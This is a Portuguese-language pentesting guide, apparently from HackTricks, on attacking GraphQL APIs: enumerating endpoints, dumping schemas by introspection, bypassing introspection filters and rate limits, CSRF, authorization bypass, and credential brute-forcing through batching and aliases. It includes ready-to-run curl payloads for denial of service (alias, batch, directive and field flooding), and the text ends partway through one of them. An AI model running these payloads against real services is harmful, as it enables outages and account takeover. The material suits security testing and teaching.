657 lines
44 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# GraphQL
{{#include ../../banners/hacktricks-training.md}}
## Introdução
GraphQL é **destacado** como uma **alternativa eficiente** ao REST API, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com o REST, que muitas vezes exige inúmeras solicitações em diferentes endpoints para reunir dados, o GraphQL permite a recuperação de todas as informações necessárias por meio de uma **única solicitação**. Essa simplificação **beneficia significativamente os desenvolvedores** ao diminuir a complexidade de seus processos de recuperação de dados.
## GraphQL e Segurança
Com o advento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidades de segurança também surgem. Um ponto chave a ser observado é que **o GraphQL não inclui mecanismos de autenticação por padrão**. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem a autenticação adequada, os endpoints do GraphQL podem expor informações sensíveis a usuários não autenticados, representando um risco significativo à segurança.
### Ataques de Força Bruta em Diretórios e GraphQL
Para identificar instâncias expostas do GraphQL, recomenda-se a inclusão de caminhos específicos em ataques de força bruta em diretórios. Esses caminhos são:
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`
Identificar instâncias abertas do GraphQL permite a análise das consultas suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso ao detalhar as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### Impressão Digital
A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo de GraphQL está sendo usado em um servidor e, em seguida, imprime algumas informações úteis para o auditor de segurança.
#### Consultas Universais <a href="#universal-queries" id="universal-queries"></a>
Para verificar se uma URL é um serviço GraphQL, uma **consulta universal**, `query{__typename}`, pode ser enviada. Se a resposta incluir `{"data": {"__typename": "Query"}}`, isso confirma que a URL hospeda um endpoint GraphQL. Este método depende do campo `__typename` do GraphQL, que revela o tipo do objeto consultado.
```javascript
query{__typename}
```
### Enumeração Básica
Graphql geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora, por questões de segurança, seja recomendado permitir apenas json para prevenir ataques CSRF.
#### Introspecção
Para usar a introspecção para descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas.
```bash
query={__schema{types{name,fields{name}}}}
```
Com esta consulta, você encontrará o nome de todos os tipos que estão sendo usados:
![](<../../images/image (1036).png>)
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
Com esta consulta, você pode extrair todos os tipos, seus campos e seus argumentos (e o tipo dos args). Isso será muito útil para saber como consultar o banco de dados.
![](<../../images/image (950).png>)
**Erros**
É interessante saber se os **erros** serão **mostrados**, pois eles contribuirão com informações úteis.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
![](<../../images/image (416).png>)
**Enumerar Esquema de Banco de Dados via Introspecção**
> [!TIP]
> Se a introspecção estiver habilitada, mas a consulta acima não for executada, tente remover as diretivas `onOperation`, `onFragment` e `onField` da estrutura da consulta.
```bash
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
Consulta de introspecção inline:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
A última linha de código é uma consulta graphql que irá despejar todas as metainformações do graphql (nomes de objetos, parâmetros, tipos...)
![](<../../images/image (363).png>)
Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para visualizar em uma GUI todas as opções.
### Consultando
Agora que sabemos que tipo de informação está salva dentro do banco de dados, vamos tentar **extrair alguns valores**.
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
Note que o tipo da consulta "_flags_" é "_Flags_", e este objeto é definido como abaixo:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
Você pode ver que os objetos "_Flags_" são compostos por **name** e **value**. Então você pode obter todos os nomes e valores das flags com a consulta:
```javascript
query={flags{name, value}}
```
Observe que, caso o **objeto a ser consultado** seja um **tipo** **primitivo** como **string**, como no exemplo a seguir
![](<../../images/image (958).png>)
Você pode simplesmente consultá-lo com:
```javascript
query = { hiddenFlags }
```
Em outro exemplo onde havia 2 objetos dentro do objeto do tipo "_Query_": "_user_" e "_users_".\
Se esses objetos não precisarem de nenhum argumento para buscar, poderia **recuperar todas as informações deles** apenas **pedindo** os dados que você deseja. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos:
![](<../../images/image (880).png>)
No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
![](<../../images/image (1042).png>)
Parece que de alguma forma ele irá buscar usando o argumento "_**uid**_" do tipo _**Int**_.\
De qualquer forma, já sabíamos disso, na seção [Basic Enumeration](graphql.md#basic-enumeration) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Se você ler a imagem fornecida quando executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
Assim, realizando um leve _**uid**_ bruteforce, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
Note que eu **descobri** que poderia pedir os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro:
![](<../../images/image (707).png>)
E durante a **fase de enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
**Truque de despejo de string de consulta (graças ao @BinaryShadow\_)**
Se você pode buscar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **busca por uma string vazia**, isso irá **despejar todos os dados**. (_Note que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você pode buscar usando "**theusers**" por um campo String chamado "**description**"_).
### Buscando
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **avaliação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
Você pode **buscar** pessoas **pelo** **nome** e obter seus emails:
```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```
Você pode **pesquisar** pessoas **pelo** **nome** e obter seus **filmes** **assinados**:
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
Observe como é indicado recuperar o `name` dos `subscribedMovies` da pessoa.
Você também pode **pesquisar vários objetos ao mesmo tempo**. Neste caso, uma pesquisa de 2 filmes é feita:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```
Ou até mesmo **relações de vários objetos diferentes usando aliases**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
### Mutations
**As mutações são usadas para fazer alterações no lado do servidor.**
Na **introspecção**, você pode encontrar as **mutações** **declaradas**. Na imagem a seguir, o "_MutationType_" é chamado de "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso):
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **avaliação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
Uma mutação para **criar novos** filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada de `addMovie`):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```
**Observe como tanto os valores quanto o tipo de dados são indicados na consulta.**
Além disso, o banco de dados suporta uma operação de **mutação**, chamada `addPerson`, que permite a criação de **pessoas** juntamente com suas associações a **amigos** e **filmes** existentes. É crucial notar que os amigos e filmes devem existir previamente no banco de dados antes de vinculá-los à pessoa recém-criada.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```
### Sobrecarga de Diretivas
Como explicado em [**uma das vulnerabilidades descritas neste relatório**](https://www.landh.tech/blog/20240304-google-hack-50000/), uma sobrecarga de diretivas implica chamar uma diretiva até milhões de vezes para fazer o servidor desperdiçar operações até que seja possível realizar um DoS.
### Agrupamento de força bruta em 1 solicitação de API
Esta informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Autenticação através da API GraphQL com **envio simultâneo de muitas consultas com diferentes credenciais** para verificá-las. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que tudo está bem e que não há um bot de força bruta tentando adivinhar senhas.
Abaixo, você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes ao mesmo tempo**. Obviamente, é possível enviar milhares em uma única solicitação da mesma forma:
![](<../../images/image (1081).png>)
Como podemos ver na captura de tela da resposta, a primeira e a terceira solicitações retornaram _null_ e refletiram as informações correspondentes na seção _error_. A **segunda mutação teve os dados de autenticação corretos** e a resposta contém o token de sessão de autenticação correto.
![](<../../images/image (119) (1).png>)
## GraphQL Sem Introspecção
Cada vez mais **endpoints graphql estão desativando a introspecção**. No entanto, os erros que o graphql gera quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que vê. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações, [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Uma boa **lista de palavras** para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Contornando defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** prova ser eficaz. Este método explora descuidos comuns de desenvolvedores em padrões regex que visam bloquear a introspecção, focando na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora, mas que podem não ser considerados na regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode contornar tais defesas:
```bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
```
Se não for bem-sucedido, considere métodos de solicitação alternativos, como **GET requests** ou **POST com `x-www-form-urlencoded`**, uma vez que as restrições podem se aplicar apenas a solicitações POST.
### Tente WebSockets
Como mencionado em [**esta palestra**](https://www.youtube.com/watch?v=tIo_t5uUK50), verifique se pode ser possível conectar-se ao graphQL via WebSockets, pois isso pode permitir que você contorne um potencial WAF e faça a comunicação websocket vazar o esquema do graphQL:
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
```
### **Descobrindo Estruturas GraphQL Expostas**
Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a aba `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## CSRF em GraphQL
Se você não sabe o que é CSRF, leia a página a seguir:
{{#ref}}
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}
Lá fora, você poderá encontrar vários endpoints GraphQL **configurados sem tokens CSRF.**
Observe que as requisições GraphQL geralmente são enviadas via requisições POST usando o Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
No entanto, a maioria dos endpoints GraphQL também suporta **`form-urlencoded` POST requests:**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Portanto, como as solicitações CSRF, como as anteriores, são enviadas **sem solicitações de pré-vôo**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF.
No entanto, observe que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET.
Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.**
Além disso, abusando de um [**XS-Search**](../../pentesting-web/xs-search/index.html) **ataque**, pode ser possível exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário.
Para mais informações **verifique o** [**post original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Sequestro de WebSocket entre sites no GraphQL
Semelhante às vulnerabilidades CRSF abusando do GraphQL, também é possível realizar um **sequestro de WebSocket entre sites para abusar de uma autenticação com GraphQL com cookies desprotegidos** e fazer um usuário realizar ações inesperadas no GraphQL.
Para mais informações, verifique:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Autorização no GraphQL
Muitas funções GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização.
Modificar variáveis de entrada de consulta pode levar a detalhes sensíveis da conta [vazados](https://hackerone.com/reports/792927).
A mutação pode até levar a uma tomada de conta ao tentar modificar dados de outra conta.
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Bypass authorization in GraphQL
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntos pode contornar um sistema de autenticação fraco.
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Bypassing Rate Limits Using Aliases in GraphQL
Em GraphQL, aliases são um recurso poderoso que permite a **nomeação de propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto dentro de uma única solicitação. Aliases podem ser empregados para superar a limitação que impede objetos GraphQL de terem múltiplas propriedades com o mesmo nome.
Para uma compreensão detalhada dos aliases do GraphQL, o seguinte recurso é recomendado: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Embora o propósito principal dos aliases seja reduzir a necessidade de numerosas chamadas de API, um caso de uso não intencional foi identificado onde aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para frustrar ataques de força bruta, restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não levar em conta o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa.
Considere o exemplo fornecido abaixo, que ilustra como consultas com alias podem ser usadas para verificar a validade de códigos de desconto de loja. Este método poderia contornar a limitação de taxa, uma vez que compila várias consultas em uma única solicitação HTTP, potencialmente permitindo a verificação de numerosos códigos de desconto simultaneamente.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
## DoS em GraphQL
### Sobrecarga de Alias
**Sobrecarga de Alias** é uma vulnerabilidade do GraphQL onde atacantes sobrecarregam uma consulta com muitos aliases para o mesmo campo, fazendo com que o resolvedor de backend execute esse campo repetidamente. Isso pode sobrecarregar os recursos do servidor, levando a uma **Negação de Serviço (DoS)**. Por exemplo, na consulta abaixo, o mesmo campo (`expensiveField`) é solicitado 1.000 vezes usando aliases, forçando o backend a computá-lo 1.000 vezes, potencialmente esgotando a CPU ou a memória:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
Para mitigar isso, implemente limites de contagem de alias, análise de complexidade de consulta ou limitação de taxa para prevenir abuso de recursos.
### **Agrupamento de Consultas Baseado em Array**
**Agrupamento de Consultas Baseado em Array** é uma vulnerabilidade onde uma API GraphQL permite agrupar múltiplas consultas em uma única solicitação, permitindo que um atacante envie um grande número de consultas simultaneamente. Isso pode sobrecarregar o backend ao executar todas as consultas agrupadas em paralelo, consumindo recursos excessivos (CPU, memória, conexões de banco de dados) e potencialmente levando a uma **Negação de Serviço (DoS)**. Se não houver limite no número de consultas em um lote, um atacante pode explorar isso para degradar a disponibilidade do serviço.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
Neste exemplo, 10 consultas diferentes são agrupadas em uma única solicitação, forçando o servidor a executar todas elas simultaneamente. Se explorado com um tamanho de lote maior ou consultas computacionalmente caras, pode sobrecarregar o servidor.
### **Vulnerabilidade de Sobrecarga de Diretiva**
**Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar alto uso computacional ou de memória, levando a **Negação de Serviço (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
```
Observe que no exemplo anterior `@aa` é uma diretiva personalizada que **pode não estar declarada**. Uma diretiva comum que geralmente existe é **`@include`**:
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
```
Você também pode enviar uma consulta de introspecção para descobrir todas as diretivas declaradas:
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
E então **use alguns dos personalizados**.
### **Vulnerabilidade de Duplicação de Campo**
**Duplicação de Campo** é uma vulnerabilidade onde um servidor GraphQL permite consultas com o mesmo campo repetido excessivamente. Isso força o servidor a resolver o campo de forma redundante para cada instância, consumindo recursos significativos (CPU, memória e chamadas de banco de dados). Um atacante pode criar consultas com centenas ou milhares de campos repetidos, causando alta carga e potencialmente levando a um **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 